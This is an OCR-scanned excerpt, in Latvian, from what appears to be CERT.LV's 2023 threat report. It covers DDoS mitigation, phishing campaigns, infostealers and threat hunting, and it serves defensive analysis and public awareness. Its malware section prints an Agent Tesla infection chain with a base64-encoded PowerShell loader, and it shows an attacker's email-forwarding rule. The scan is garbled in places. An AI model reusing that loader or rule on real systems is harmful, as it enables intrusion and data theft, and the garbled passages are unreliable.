|| 45.143.138.61 || RU | | AS47196 Garant-Park-Internet LLC | |

DDoS uzbrukumu ietekmes mazinasana

CERT.LV ir apkopojusi ieteikumus un daramos sagatavosanas darbus, lai mazinatu DDoS
uzbrukumu ietekmi. Katras organizacijas atbildigajiem par IT drosibu paSiem ir jaizvérté
uzskaitito ieteikumu piemérotiba savas infrastruktiras aizsardzibas stiprinasanai.

leteikumi drosibai

1. Apzinat publiskos kritiskos resursus, kuri varétu bat pak|auti DDoS uzbrukumam.

2. Pieslegt monitoringu, lai pamanitu, ka kritiskais resurss nav sasniedzams no
interneta.

3. lzveidot papildu interneta pieslégumu, lai spétu pieklGt tikla iekartu vadibai
laika, kad interneta kanals un iekartas ir parslogotas (out-of-band, atsevisks
VPN/jump host cita interneta pakalpojumu sniedzéja tikla).

4. Parliecinaties, ka ir zinamas un testétas metodes, ki noskaidrot tehniskas
detalas par uzbrukumu: mérkis, uzbrukuma veids (pieméram,
netflow/ugunsmira zurnalfaili, prastt interneta pakalpojumu sniedz&jam).

5. lIrizstradats un testéts ricibas plans, ka rikoties uzbrukuma laika:

5.1. Pieslégt DDoS aizsardzibu, ko nodrosSina interneta pakalpojumu sniedzéjs
(ieslégts pastavigi vai péc pieprasijuma). Latvija DDoS aizsardzibas pakalpojumus
piedava SIA “TET”, Aizsardzibas ministrija sadarbiba ar VAS LVRTC un citi
pakalpojumu sniedzéji;

5.2. Péc pieprasijuma interneta pakalpojumu sniedzé&js var izfiltrét/ierobezot

lieko datu plismu automatiski (BGP RTBH - Border Gateway Protocol Remotely
Triggered Black Hole) vai manuali;
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5.3. Migrét atseviskas svarigakas sistémas aiz DDoS aizsardzibas uz
makonpakalpojumu satura piegades tikliem (CDN) (Content Delivery Network).
Ka pieméru var minét “Cloudflare”, “Microsoft Azure”, “Google”, AWS;

5.4. Filtrét piekluvi resursam péc geolokacijas, atstajot piek|uvi svarigakajiem
klientiem vai tikai Latvijas IP adreSu diapazoniem.

Vélamie ieteikumi: Ir izveidoti tieSi savienojumi ar vienu vai vairakiem lokaliem
interneta apmainas punktiem, sadarbibas partneriem; pieejams brivs, ar rezervi
interneta piesléguma kanals un tikla iekartas, kas spéj turét slodzi; decentralizéta
svarigako resursu izvietoSana (pieméram, CDN).

*ACERT. LV
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2. Finansiali motiveti uzbrukumi

2.1. Popularakas krapsanas shémas

2023.gada  privatpersonas visvairak tika

ietekmétas ar dazada veida krapsanas un

pikskeréSanas aktivitatém. Visa gada garuma

tika veikti regulari  meéginajumi izkrapt

kreditkaréu datus un iegdt piekluvi personu un WhatsApp”. Pikskerésana ir

uznémumu bankas kontiem. identisks uzbrukums, visbiezak sutot
' zinas uz elektronisko pastu.

Smikskerésana ir kiberuzbrukuma
veids, kura tiek izmantoti teksta
pazinojumi, pieméram, SMS vai zinas

Parskata perioda viena no popularakajam

krapnieku izmantotajam  taktikam  bija |, Smiksker&sanas un pikskerésanas
smikskerésanas Tszinu un pikSkerésanas e- noliiks ir panakt, lai persona,
pastu  kombinacija dazadu  kurjerpasta | atverot nosititaja zina eso3o saiti,
pakalpojumu sniedz&ju varda. Tajos tiek | |ejupieladé&tu Jaunatiiru vai veiktu
izplatiti  aicinajumi  apmeklét So pasta citu sev kaitigu darbibu.
pakalpojumu sniedzéju vietnes, lai it ka

precizétu piegades adresi, apmaksatu muitas

nodevu vai veiktu citas darbibas.

9. attéls. PikSkerésana ar e-pasta starpniecibu pazistama uzpémuma varda

From DPD - jauna kartiba #4873 notice_message185225@icloud.com> &

Labdien, jusu prece ir apmaksata un gaida apstiprinajumu.
Rezervacijas numurs: 48739638

Pircejs ir samaksajis par piegadi. NoklikSkiniet uz pogas zemak un
aizpildiet veidlapu. Kad esat ievadijis informaciju, l0dzu, parbaudiet
to.

Ja jums joprojam ir kadi jautajumi, lidzu, sazinieties ar masu
térzésanas atbalsta komandu pasutijuma apstiprindjuma lapa.

Zinojumos ieklautas saites ved uz kadu no saiSu isinasanas servisiem (urlz.com, u.to,
Inkd.in, az3.in, linkr.it, inx.lv un citiem), kas parvirza apmeklétajus uz krapnieku
izveidotu vietni. To noforméjums atdarina izmantota servisa timekla vietnes izskatu.
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http://urlz.com/
http://u.to/
http://lnkd.in/
http://az3.in/
http://linkr.it/
http://inx.lv/

10. attéls. Krapnieku izmantota taktika, novirzot upuri uz viltus vietni

8 isrs

izsekot rezultatiem

jasu izsekoSanas numurs: DY923528117PT
Svariga piezime par piegadi
« JOsu paka netika plegadata neskaidras piegades adreses dé|

« JOsu pakete ir atgriezta masu izpildes centra

« LOdzu, atjauniniet savu adresi, més atkal nosatisim 9/13/2023

11. attéls. Krapnieku izmantota taktika, lai iegiitu personas datus

(=] sty

personas dati

Cienfjamais lietotaj, lGdzu, aizpildiet veidlapu, lai nodrosinatu panakumus piegades garantija.

levadiet savu personisko informaciju

nosaukums

Talrunis

E-MAIL

Pilséta

Adrese

Pasta indekss
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Tam seko kreditkartes datu ievades forma vai internetbankas autentifikacijas saite.

12. attéls. Krapnieku izmantota datu vakSanas forma

E PASTS

TieSsaistes maksajums
Par atkartotu piegadi mums ir jaiekasé noteikta maksa par pakalpojumu. J0su paka tiks atkartoti
piegadata pec maksajuma veikSanas

vienreizéju maksajumu: 1.39€

Kartes Ipasnieks

Kartes Numurs
100 0000 0000 0000

v oo ERER = m o =2

Deriguma Termind Drosibas Kods (CW)

Pie CERT.LV ir vérsuSies vairaki simti Sada veida krapSanas upuru, kas zaudéjusi no
daziem desmitiem, Ilidz pat vairakiem tdkstoSiem eiro. Latvijas FinanSu nozares
asociacijas publiskotie dati rada, ka 2023. gada no Latvijas iedzivotajiem izkrapti vairak
neka 1 milj. eiro katru ménesi. Lielakas summas zaudg&jusi tie, kas apstiprinajusi
internetbankas piek|uvi. ST veida krap$anas vissekmigak notikusas caur lietotaju
mobilajam iericém, jo mazais ekrana izmérs un slikti saskatamas vietnu adreses
ievérojami apgrdtina upura spéju atpazit krapniecibu. Vairakas no krapnieku
izmantotajam kreditkarSu datu vakSanas formam tiek izmantotas jau gadiem, tas
pieejamas “melnaja tirgld” (dark market) ka gatavu pikSkerésanas riku komplektu
sastavdalas.

13. attéls. Krapnieku izmantota datu vakSanas forma
Lai ierobeZotu daZzadu analizes riku spéjas automatiski identificét krapnieciskas vietnes,

piekluve tam var tikt aizsargata ar

) hitps/di ing.online/?id=2448arcaBéro B

G O e sanémeéjam unikalu, vai visai krapSanas
kampanai kopigu piekluves paroli.

visa Konstatiétj' art ier?beiojur?i . .péc

apmeklétaju IP adresem (krapniecisko

[#ensnnnunnnnnnny | vietni var apskatit tikai no mobilo sakaru

T \ operatoru IP)  valstim (tikai LV),

FuLL wave - parlikprogrammas identifikatoriem (tikai

mobilie talruni) un parvirzitajiem (referrer -
tikai “Facebook” vai “Google”).

Kartes numurs

Deriguma termin$. cve/ew

2023. gada otraja pusé krapniecisko zinu
izplatiSanai arvien plasak tika izmantoti

“WhatsApp”, “iMessage” un icloud.com

servisi.

Ménesis v Gads v
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Novembra sakuma konstatéta netipiska kampana, kura krapnieku “iMessage”, kas tika
sQttts “Latvijas Pasts” varda, iekJauts ari aktivs exploit, kas sekmigi izmantots pret
“iPhone” telefoniem ar I0S 14 versiju (S1s iekartas nav atjauninatas vismaz 2 gadus).
Inficétajas iekartas tika aktivizéta kamera (iespéjams - ari mikrofons), visiem kontaktiem
parshtita krapnieku 1szina (ta pati, uz kuru uzkéras upuris) un Tpasniekam nebija iespéja
iekartu izslegt. Tikai péc pilnigas akumulatora izlades iekartas izdevies atkal ieslégt, un
tas atsakusSas darboties normala rezima.

Gada nogalé pastiprinata krapnieku uzmaniba tika pievérsta arl uznémumu un organizaciju
gramatveziem, kuriem Sis laiks bija Tpasi noslogots. Krapnieki sttija pazinojumus par it ka
laikus neapmaksatu rékinu vai ari vaditaja varda pieprasija steidzamu maksajumu, cerot, ka
steiga netiks pamanttas sanemta e-pasta viltojuma pazimes. Ka primaro indikatoru var
minét e-pasta neformalitati, bet ka sekundaro - sttitaja izmantota e-pasta nesakritibu
ar ierastajai komunikacijai izmantotajiem e-pastiem.

Jauna 2023. gada tendence ir izkrapt bankas piekluves informaciju, izmantojot viltus
SMS, kas izmanto burtciparu satitaja ID (alphanumeric senders ID), lai aizstatu telefona
numuru ar citu identifikatoru, un e-pastus, pieméram, elieta.lv - tiesvedibas datu
monitoringa vietnes varda. Mazak aktivi krapsanai izmantotas ari citu valsts iestazu
vietnu identitates - latvija.lv, eds.vid.gov.lv.

14. attéls. Krapnieciska Tszina

Ipasu ticamibu 3im kampanam pieskira

< \ @ 4 krapnieku  izmantota ~ SMS  sdtitaju
Tiesa.lv identifikatoru viltoSana. Latvija vardisku SMS

sUtitaja identifikatoru izmantos$ana ir atlauta

un netiek veikta izmantoto identifikatoru

17.05.2023 Jums ir jaierodas registracija un izmantoSanas kontrole, tapéc
Rigas apgabaltiesa, lasiet tiek pienemti un parsatiti  jebkadi,
vairak pievienojoties seit standartam atbilstosi SMS identifikatori.

vpmviss.lv-pieslegties.net

Interneta ir atrodami SMS izsttiSanas servisi,
caur kuriem ir iespéjams veidot un izshtit
SMS ar klienta izveléetu identifikatoru.

Vienota risindjuma Sai SMS identifikatoru viltoSanas problémai nav. Ar lidzigam
krapnieku aktivitatém saskaras ar1 citas valstis, tapéc, pieméram, Lietuva un Somija ir
ieviesusas izmainas SMS identifikatoru izmantosSana - tos nepiecieSams registrét vienota
datubazé un neregistrétu identifikatoru izmantosana ir aizliegta.

Krapnieciskie zinojumi biezi tiek izshtiti diennakts laika, kad upuri visdrizak neatradisies
pie datora - darbadienu vakaros un ritos, brivdienas un naktis, tadéjadi samazinot
iespéju, ka upuris bls koncentréjies un uzmanigs vai atradisies pie liela datora ekrana.

visbiezak tiek izmantotas krapsanas, kuras upuri tiek
uzrunati caur mobilajiem telefoniem. Zinas, kas médz but krapnieku riciba, ir Joti
precizas. Lai iekarotu upura uzticibu, sarunas tiek pieminéta upura adrese,
izmantota banka, mobila talruna operétajsistéma un modelis. Lielaka dala sadas
informacijas tiek iegiita kaitigu talrunu lietotnu un datorvirusu darbibas rezultata,
ka ari jau minétajas pikskerésanas formas.
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Analizéjot krapnieku izveidotas vietnes, konstatéts, ka jebkura teksta ievade tajas
automatiski parsita to uz krapnieku kontrolétu C&C serveri, izmantojot POST
pieprasijumus, ko generé skripts upura parlikprogramma. Gadijumos, ja lietotajs
ievadijis tikai savu kontaktinformaciju un nav nodevis krapniekiem kreditkartes datus,
eso$a kontaktinformacija jau var tikt izmantota citu, turklat personalizétu krapsanu
izveide.

Krapnieku primarais meérkis ir piekluve upuru internetbankai - pierunajot
ievadit/apstiprinat  aktivizacijas kodus, lai aktivizétu krapnieku pieslégumus
internetbankai, vai ari uzstadit upura datora un talruni attalinatas piekluves rikus,
visbiezak — “AnyDesk”, un tajos atlaut krapnieku piek|luvi savam iekartam.

llgstosi krapnieki lietoja sazinai krievu valodu, ta¢u gada beigas konstatétas kampanas
ar sazinu nevainojama latvieSu valoda gan balss, gan rakstiska forma. ViltvarZzu zinas
tiek sGtitas gan valsts iestazu, tiesu, gan kurjerpastu, banku, atpazistamu uznémumu,
kriptovalGtu tirdzniecibas platformu un straumeésanas pakalpojumu sniedzéju varda.

Sagaidams, ka uzbrucéji arvien plasak pielietos jauno tehnologiju, tai skaita
maksliga intelekta / lielo valodu modelu riku iespéjas krapsanas satura un
valodas kvalitates uzlabosanai, balss un attéla viltoSanai, dezinformacijas un
cita maldinoSa materiala veidoSanai.

DNS ugunsmura pakalpojums aktivai aizsardzibai

Latvija regulari notiek kampanveidigas

krapnieciskas aktivitates — gan viltus
vietnes bankas kontu, e-pasta vai
socialo tiklu piekluves datu
izkrapsanai, gan Jaunatdru izplatiSanai
kibertelpa. CERT.LV novéro 3adas
kampanas un operativi ievieto So
kampanu indikatorus DNS ugunsmarr,
lai ta lietotajus pasargatu no

DNS ugunsmuris ir aktivas aizsardzibas
pakalpojums individualu lietotaju un
organizaciju pasargasanai no krapniecisku
vietnu apmeklésanas, aizsargajot to ierices
no krapnieciskas kampanas izmantotam
laundabigam saitém, krapnieciskam
vietnémun virusiem, ka ari nodrosinot

valstT vienotu ierobezojamo resursu zonu

identificétajiem apdraudéjumiem. . . N
apstradi un izplatisanu.

DNS ugunsmdiris nodroSina aktivu Pakalooi b K drogi
aizsardzibu, ka, pieméram, launatiras akalpojumu bez maksas nodrosina
lejupielades blokésanu, tadejadi CERT.LV.un NIC.LV.

noveérsot lietotaju pieklGsanu o L
bistamajiem resursiem un parvirzot Plasak: https://cert.lv/Iv/pakalpojumi#5-
tos uz bridindjuma vietni. Ari ¢ dns-ugunsmuris

gadijumos, kad Jaunatdra jau ir

inficéjusi kadu iekartu, DNS ugunsmiris sniedz iespéju atrak identificét sadas iekartas,
kas sistému administratoriem dod iespéju operativi veikt seku novérSanu. Latvija
interneta lietotaji ka bezmaksas aktivas aizsardzibas riku tiek aicinati izmantot CERT.LV
un NIC.LV izstradato DNS ugunsmdri, kur operativi tiek ievietotas krapnieciskas saites.
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Salidzinot ar 2022. gadu, DNS ugunsmira lietoSana pieaugusi 5 reizes, ménesi
apstradajot 1,5 miljonus DNS pieprasijumu. 2023. gada 4. ceturksni no Jlaundabigu
vietnu apmeklésanas DNS ugunsmira lietotaji (unikalie) tika pasargati apméram
pusmiljons reiZu.

2024. gada rudent ir paredzéts nodroSinat DNS ugunsmira mobilas lietotnes “Apple”
iOS un “Android” mobilo ieri¢u lietotajiem.

CERT.LV piedava iesp€ju uznémumiem un iestadém, kas pasi uztur savus DNS rekursivos
serverus, izmantot CERT.LV uzturétas DNS RPZ (Response Policy Zone), kas satur
CERT.LV identificéto bistamo resursu sarakstus.

leteikumi drosibai

1. Regulari sekot lidzi aktualitatém par aktivajiem krapsanas veidiem - Valsts
policijas, CERT.LV un citu iestazu informacijai.

2. Apmacit un informét darbiniekus par aktualakajam krapnieku aktivitatem.
3. Atjauninat talrunu opereétajsistému un lietotnes.

4. lzmantot tikai oficialas vietnes un lietotnes piek|uvei valsts pakalpojumiem un
bankam.

5. lerobeZot saisu isinasanas servisu izmantosanu ar ugunsmdra vai DNS filtraciju
(Uzmanigi - iespéjams blokét derigus servisus!).

6. Aizliegt nesankcionétu attalinatas piek|uves riku uzstadisanu un izmantosSanu.

7. Veikt DMARC un SPF parbaudes ienakosajiem e-pastiem, lai ierobeZotu viltoto
véstulu sanemsanu.

8. Zinot par krapnieku aktivitatém un laundabigam vietném, parsitot kaitigos e-
pastus uz cert@cert.lv, tadéjadi pilnveidojot DNS ugunsmira efektivitati.

9. lIzmantot CERT.LV un NIC.LV nodrosSinato bezmaksas aktivo aizsardzibas
pakalpojumu - https://dnsmuris.lv/, lai pasargatu sevi un darbiniekus no
krapniecisku vietnu apmeklésanas.

v’VCERT.LV
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2.2. Launaturas, izspiedéjvirusi, informacijas sistemu
uzlausana un citi incidenti

Novérojot 2023. gada tendences, attieciba uz |aunatdru aktivitati un informacijas
tehnologiju droSibas incidentiem var secinat, ka sistému uzlauSanas un inficéSanas
notika, pielietojot Sadas metodes:

1.
2.

PikSkeresana;

Publiski zinamu ievainojamibu Jaunpratiga izmantoSana — versiju ievainojamibas
un “N dienas” ievainojamibas, retak “nulles dienas” (zero-day) ievainojamibas.
Tas nozimé, ka gandriz vienmér upuriem ir bijusi iespéja uzstadit droSibas
ielapus, tacu tas nav izdarits pietiekami atri, lai uzbrucéjiem liegtu iespéju
pielietot jau publiski zinamu ievainojamibu;

Nekorektas konfiguracijas rezultata timekli eksponéto servisu Jaunpratiga
izmantoSana — nokluséjuma autentifikacijas piekluves dati, parolu uzlausana ar
pilno parlasi (brute-force), versiju ievainojamibas;

Inficéti datu neséji - USB zibatminas;

Piratiskas programmatiras uzstadiSana, biezi arT ar datorspélu autortiesibu
parkapumiem saistita programmatdira, kas satur infekciju
(cheats/crack/keygen);

Nopludinatas, vienkarsas lietotaju paroles;

Automatizétie uzbrukumi.

Galvenie |aunatiras tipi parskata perioda:

Lietotaju datu zadzeéji;

Bot-net jeb botu tikli;

Izpiedéjvirusi;

Attalinatas kontroles launatiiras, mérkétas uz datu izgasanu vai talako
infrastruktiras kompromitésanu.

2023. gada visbieZzak sastapta lietotaju datu zadzéju launatiira ir mérkéta
uz nedrosi, lokali glabato autentifikacijas datu un parolu zagSanu, proti,

launatira tiek izplatita ka laundabigs timekla parluka spraudnis vai ka
izpildfails, kas pievienots pie pikSkerésanas e-pasta véstules.

|
| I
| |
| 1
| |
! I
. parolu iegi$anu no timekla parlika vai neSifrétiem failiem. Sada veida :
|

1
: I
| |
| |
! I
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Inficétie paplasinajumi

Parskata perioda novérots pieaugums gadijumiem, kad lietotaji, maldinati ar viltus
reklamu, pasi instalé viltus maksliga intelekta spraudnus sava timekla parluka.
Pieméram, tika fikséti vairaki gadijumi ar instalétiem “AiGoogle” Jaundabigo spraudnu
paveidiem, kuri tika mérkéti uz “Facebook” kontu piek|luves datu zadzibu.

Lietotajiem ir jabGt uzmanigiem lejupladéjot spraudnus, ir svarigi parbaudit to
izstradataju uzticamibu. Lai iespéjami mazinatu riskus, ieteicams regulari atjauninat
parlikprogrammu un drosSibas programmataru.

*’VC ERT.LV

CERT.LV | 2023 | NN |



Parolu parvaldiba

Fikseti gadijumi, kad datora paroles tika glabatas
nesifréta veida, lokali uz inficéta datora, lidz ar to
uzbrucéji guva pieeju pie vairakiem lietotaju
kontiem, kuriem nebija aktivizéta divfaktoru
autentifikacija (2FA).

Tapat fikséti arT gadijumi, kad inficétais dators tika
izmantots ka koplietoSanas darbstacija, Iidz ar to,
inficéjot vienu ierici, uzbrucéju riciba nonaca
vairaku personu autentifikacijas dati.

Ka pieméru Sadas |aunatdras darbibai var minét
gadijumus, kad Jaunatidra, izpildot obfuscétu
skriptu, veic sqlite.dll lejupieladi, ar kura palidzibu
saglaba ievakto informaciju par inficétas sistémas
lietotaju un nosuta to uz kontrolserveri.

Ipadi bistami ir gadijumi, kad neSifrétas
paroles tiek uzglabatas administratoru
datoros, kuriem ir augstu privilégiju
piekluve infrastruktdra.

Papildus tam nereti kompromitéti e-pasti vai
lietotnu konti tiek izmantoti, lai talak izplatitu
launatiru. Pieméram, tika konstatéti vairaki
gadijumi, kad no kompromitétiem e-pastiem tika
izsatiti viltus rekini, kas izplatija Agent Tesla
launataru.

Piemérs viltus rékiniem, kas tika izplatija Agent Tesla
Jaunatdru:

https://tria.ge/230915-maqgnesba71/behaviorall

B autofill

W autofill_edge_block_list

B autofill_edge_custom_data
B autofill_edge_extended

B autofill_edge_field_client_info
W autofill_edge_field_values

W autofill_edge_fieldid_cid_mapping
B autofill_model_type_state

W autofill_profile_addresses

B autofill_profile_birthdates

W autofill_profile_edge_extended
B autofill_profile_emails

B autofill_profile_names

B autofill_profile_phones

W autofill_profiles

W autofill_sync_metadata

B autofill_travels

B contact_info

o] contact_info_type_tokens

B credit_cards

B credit_cards_edge_extended
= credit_cards_edge_metadata
W edge_meta

B edge_tokenized_credit_cards
W ibans

Bl keywords

B masked_credit_cards

H meta

B offer_data

M offer_eligible_instrument

B offer_merchant_domain

B payment_method_manifest
W payments_customer_data

B payments_upi_vpa

W safety_hub_downloads

B safety_hub_navigations

W secure_payment_confirmation_instrument
B server_address_metadata

B server_addresses

W server_card_cloud_token_data
W server_card_metadata

B token_service

B unmasked_credit_cards

B virtual_card_usage_data

B web_app_manifest_section

Lai mazinatu Sadus riskus, ieteicams veikt parolu uzglabasanu Sifréta veida, pieméram,
izmantojot parolu parvaldnieku. Personu e-pastu un citu kontu drosibas nodroSinasanai
aicinat darbiniekus izmantot unikalas un drosas paroles, ka ari, kur vien tas ir iesp&jams,

pieprasit divu faktoru autentifikacijas (2FA) izmantos$anu.
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Kompromitéti e-pastu konti

Parskata perioda tika noveéroti art gadijumi, kad péc e-pasta kontu uzlausanas uzbrucégji
izveidoja e-pasta filtrus, lai partvertu un parvirzitu intereséjoSos e-pastus. Minétas
darbibas tika veiktas krapsanas noltika, pieméram, partverot uzlauzta uznémuma
klientu e-pastus, klientiem tika nosatiti rékini ar nomainitiem bankas rekvizitiem.

15. attéls. Inficéta e-pasta pielikuma aktivitate upura datora

"% Processes

C:\Windows\system32\cmd.exe PID:2192
C:\Windows\system32\cmd.exe /¢ "C:\Users\Admin\AppData\Local\Temp\Maksajuma kopija_Swedbank_Pdf.ba 1
e
C:\Windows\system32\cmd.exe PID:4448
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Maksajuma kopija_Swedbank_Pdf. ——
bat”
C:\Windows\system32\cmd.exe PID:744

C:\Windows\system32\cmd.exe /S /D /c" echo F "

C:\Windows\system32\xcopy.exe PID:404
xcopy /d /q fy /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.@\powershell.exe C:\Users\Admin\ 1

AppData\Local\Temp\Rmtoxw.png

C:\Windows\system32\cmd.exe PID:4828
C:\Windows\system32\cmd.exe /S /D /c" echo F "

C:\Windows\system32\xcopy.exe PID:3912

xcopy /d /q fy /h /i "C:\Users\Admin\AppData\Local\Tenp\Maksajuma kopija_Swedbank _Pdf.bat" C:\ !
Users\Admin\AppData\Local\Temp\Rmtoxw.png.bat

C:\Users\Adi pData\Local\Te PID:3404

A 88 aa a8 B8,

C:\Users\Admin\AppData\Local\Temp\Rmtoxw.png -win 1 -enc JABZAGoAcQBSAGBAegBzACAAPQAGAFSASOBPA
C4ARgBPAGNAZQBAADOAD BSAGUAY QBKAEWAaQBUAGUACAOACGAKABD AFMACQBZ AHOAZQB tAC4ARABPAGE AZWBUAGBACHBE
AGKAYWBZACAAUABY AGBAYWB1AHMACNBAAD0 AOGBHAGUAGABDAHUACGBYACUADGBBAF AAca BYAGHAZOBZ AHMAKAAPACAAT QB
hAGKkAbGBNAGBAZAB1AGAZQAUAEY AQQBSAGUATgBRACOAZQAPACAAVABVAFMAGABY AGKAD gBnACOAKQAGACSATAAIACAAY G
BhAHQATGAPACWATABLAHQAZQB4AHQALGBLACAAWBYAGQARQBUAGCAX QA6 ADOAV QBUAEYACAADACAATAAGAFMAZQB SAGUAY
WBBACOATWBLAGOAZQB]AHQATAATAGNAY QBZAHQALAAX ADSALAAK AEMAGB FAHAAGQBNAGS ACWBMAGEATAASAC.
cWBBAGUA bQAUA‘«EMA\)\'.BuA-WAZC‘ByA-{C‘AXQA&ADQARQE\/ACSADQ 1ADYANABTAHQACGBPAGAAZWAOAC
1AGOAZOBJAHQATABTAHKACWBBAC
KATWAUAEBAZQB tAGEACGBSAFHAGABY AGUAY OBTACGAT AASACAAJABDAGSAanBWARUAY QBr AHHAZBhACAAKQAT
HDAan1AHDAIMGAC»‘«ATQBIMCAL1BPnGInagBL\C}-\p«(\nAg»FMAEQBZA—m»\ZCBtAC4nSJBPnC4nTDBlnCB»«LvByHHkAJuBB
AHTAZQBRAGBAOWAKAEYAanBoAHOAQQBNAGS AZgBPACAAPQAGAE4AZQB3ACBATHB1ACOAZE  AHOATABT AHKACHBBAGUAD A
UAEKATWAUAEMADB tAHAACGBLAHNACWBPAGBADGAUAE cAegBpAHAAUNBBAHT AZQBhAGBAT AAKAEOAABMAHYADWBIAGBALA
AgACQAIB AEEnLqBDA"&nbQBv,-\HL-\Z\’JBZ,-\HMMQEH«MALQBDA G8ADQBWAHTAZQBZ AHMAGQBYAC4ATBVACQAZQBAADOAD

ACKAOUAKAEY AaVBOHOARQBNACSAZgBpACAACNBYAHAKSQBUAGEAKANGACOAONETAHOA
aABBAGKAZWBrAGYAaQAuAl AHMAZQACACK AOWAK AEOAdABMAHYAbwBiAGBALBDAGW
AdABLAF sAXQBAACAAJABD, vAHUAYQBrAHMAZ gBhACAAPQAgAC TAHQACAB1AH
QALgBUAGBAQQBYAHTAYQBSACGAKQATAF SAQQBYAHIAY(QB A6AFIAZQB2AGUACGBZAGUAKA/ vBr AHAAQBhA
GsACWBMAGEAKQATACAAJABUAGUA AB2AGBA e gBACAAPQAGAF s AUNBS AHNAGAB 1 AGBALgBSAGUAZ UAYWBOAGKAbWBU
AC4AQQBZAHMAZOBTACTABABSAFBAOGAGAEWABBRACOAKAAKAEMAGWB rAHAACQBRAGSACHBAGEAKQATACAAJABKAHKA= B
vAHgAbGB1AHQACAGADBATAAKAFQAZABBAHY AbWBEACYALgBHAGUAABF AHgACABYAHT A ABLAGQAVABS AHAAZ QBZACGAKQ
BbADAAKQA7ACAAJABUAGHAZ gB1 AHMAGABSACAAPQAGACQAS gB5AGoAbHB4AGAAd QBBAHNAL GBHAGUAGABNACUAGABOAGBAZ
ABZACGAKQBDADAAX QAUAEKADGB2ACBAaNB1ACOAJABUAHUADABS ACHA TAAKAGAAOBSAGHAKQAGAHWATABPAHUACAATAE 4A
4QBSAGHA

E-pasta filtru piemeérs:

if

Sheader_from: is "xxx@xxx.xxx"

then

deliver "dgovonor2027 @yandex.com"
endif

Starp Latvijas IP apgabala novéroto Jaunatlru aktivitatém I[ideribu ienem tadas
launatiiras ka Ranbyus, Corebot, Tinba. Joprojam salidzinosi aktiva ir Raspberry Robin
launatlira, kas parsvara tiek izplatita no iekartas uz iekartu ar inficetam USB
zibatminam. Pieméram, parskata perioda vairaku valsts iestdZzu, tostarp kultlras un
veselibas apripes iestazu tiklos tika konstatéta Raspberry Robin launatiras klatbitne.

Dinamiska kiberdrosibas ainava prasa patstavigu modribu, savlaicigus programmatiiras
atjauninajumus, ka ari ievainojamibu atklasanas riku uzlabosSanu, jo kiberuzbrucégji
nemitigi pielago un uzlabo savu taktiku. CERT.LV aicina sekot Iidzi izstradataju
noradijumiem un nekavéjoties atjauninat programmatiiras uz jaunako pieejamo versiju.

*ACERT.LV
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Draudu medibu operacijas

KopsS 2022. gada CERT.LV izvérs plasa méroga draudu medibu operacijas jeb proaktivu
kiberuzbrucéju klatbltnes mekléSanu Latvijai svarigas IT infrastruktiras sistémas. Tas
CERT.LV vadiba notiek sadarbiba ar NATO sabiedroto valstu partneriem, primari
Kanadas brunotajiem spékiem un Kanadas kiberdrosibas centru. Sadarbibas operacijas
Istenotas ari ar ASV kiberpavélniecibu, Belgijas Brunotajiem spékiem un Eiropas
Savienibas kiberdrosSibas agentlru
(European Union Agency for
Cybersecurity, ENISA). To uzsaksanas
pamata bija CERT.LV novérojumi par
satraucoSiem  notikumiem  Latvijas
kibertelpa, ka ari regiona geopolitiska
situacija.

kas notiek ar meérki
noveértét visparéjo informacijas un
komunikaciju tehnologijas (IKT)
infrastrukturas kiberdrosibas ITmeni, ka
ari atklat, uzraudzit, analizét un
Draudu medibu prioritate ir identificet , neitralizét kiberuzbrucéju aktivitates.
citu valstu, pieméram, Krievijas,
Baltkrievijas un Kinas izcelsmes | ldentificéjot uzbrucéja klatbutni,
kiberoperacijas jeb APT (Advanced | draudu medibu dalibnieku uzdevums ir
Persistent Threat) klatbdtni. Draudu analizét uzbrukumu taktiku,
medibas CERT.LV vadiba notiek valsts | panémienus un pielietotas procediiras.
iestazu, IT kritiskas infrastruktdras un
bitisko pakalpojumu sniedzéju IKT
infrastruktdras.

2022. un 2023. gada CERT.LV veica visaptverosas IKT draudu medibas 25 organizacijas.
Draudu medibu apjoms parsniedz 100 000 analizétu iekartu. Teju visas iestadés, kur tika
veiktas draudu medibas, konstatétas lielakas vai mazakas nepilnibas IT infrastruktiras
konfiguracija vai tas parvaldiba, ka ari astonas iestadés (t.i. 32% no kopéja tvéruma) ar
augstu ticamibu tika konstatéta ar1 APT klatbitne.

CERT.LV pakalpojumu - draudu medibas var pieprasit valsts un pasvaldibu iestades, IT
kritiskas infrastruktdras un bitisko pakalpojumu sniedzéji, sazinoties ar CERT.LV.

Lai arl pamata ta ir kiberaizsardzibas operacija, tas rezultata, sadarbojoties ar mérka
iestadi, kura notiek draudu medibu process, CERT.LV nodroSina objektivu skatu uz
organizacijas IKT infrastruktiiru un tas kiberdroSibas Iimeni, ka ari veic iespéjamos
talitéjos uzbrucéja klatbutnes likvidéSanas darbus infrastruktiira.

Tas tiek nodroSinats, veicot analizi iestades gala iekartas, mekléjot Jaunpratigu darbibu
pazimes, turklat procesa gaita registréjot un protokoléjot gan labas, gan sliktas IKT
parvaldibas prakses, ka ari konstatéjot vajas vietas IT infrastruktdra un sniedzot
rekomendacijas iestades IKT administratoriem un drosSibas parvaldniekiem efektivai
nepiecieSamo izmainu veikSanai un labo praksu istenoSanai, lai stiprinatu organizacijas
kibernoturibu.
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attéls. CERT.LV draudu medibas jeb kiberaizsardzibas operacija mérka iestadé

Merka
iestade

draudu medibu CERT.LV uzdod
panosanas procesu. jautajumus mérka —_—
lzveido sazinas kanalu | iestadei, apzina CERT.LV sak draudu
ar iestadi. infrastruktaras medibu procesu. 5is
dokumentaciju. lzvieto |process var ilgt [idz tris | Pec draudu medibu
draudu medibam meénesiem. Draudu norises, CERT.LV
nepiecietamas medibu procesa sagatavo atskaiti par
iekartas. CERT.LV aktivi sazinas | atrasto mérka iestade.
ar iestades parstavjiem |Atskaité ir ieklautas
par atrasto. novérotas labas un
sliktas prakses, galvenie
atradumi un ieteikumi
infrastruktdras
stiprinasanai.
Kopsavilkums

Pielietotas uzbrukumu metodes no MITRE ATTACK matricas
https://attack.mitre.org/matrices/enterprise/

Sakotnéja kompromitésana (/nitial Access) galvenokart ir notikusi, izmantojot
ievainojamibas publiski pieejamos resursos, kurus dazkart mérka infrastruktdra bija pat
neapzinati eksponéjusi aréja tikla, pieméram, Microsoft Exchange serveri, VPN vartejas,
marsrutétaju WEB saskarnes un citi resursi (T1190,T71133). Viena gadijuma pat nebija
nepiecieSams izmantot ievainojamibas, lai uzbrucéjs pieklatu pie mérka IT
infrastruktdras, jo nemainitas standarta paroles ka admin:adminl123 tikai atvieglo
